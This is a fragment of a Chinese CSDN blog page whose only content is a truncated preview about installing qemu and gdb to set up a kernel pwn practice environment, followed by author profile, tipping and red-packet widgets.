刚开始上手kernel pwn,光环境就搭了好几天,应该是我太菜了。。好下面进入正题,环境总共就由两部分构成,qemu和gdb。这两个最好都需要使用源码安装。我使用的安装环境为qemu:安装前要先安装sudo apt-get install libsdl2-2.0sudo apt-get install libsdl2-devsudo apt-get install libpixman--devs...

weixin_36298476的博客 791
上一篇: house of apple2
下一篇: Kernel PWN 入门(二)
saulgoodman-q
博客等级 码龄6年 828粉丝 52原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值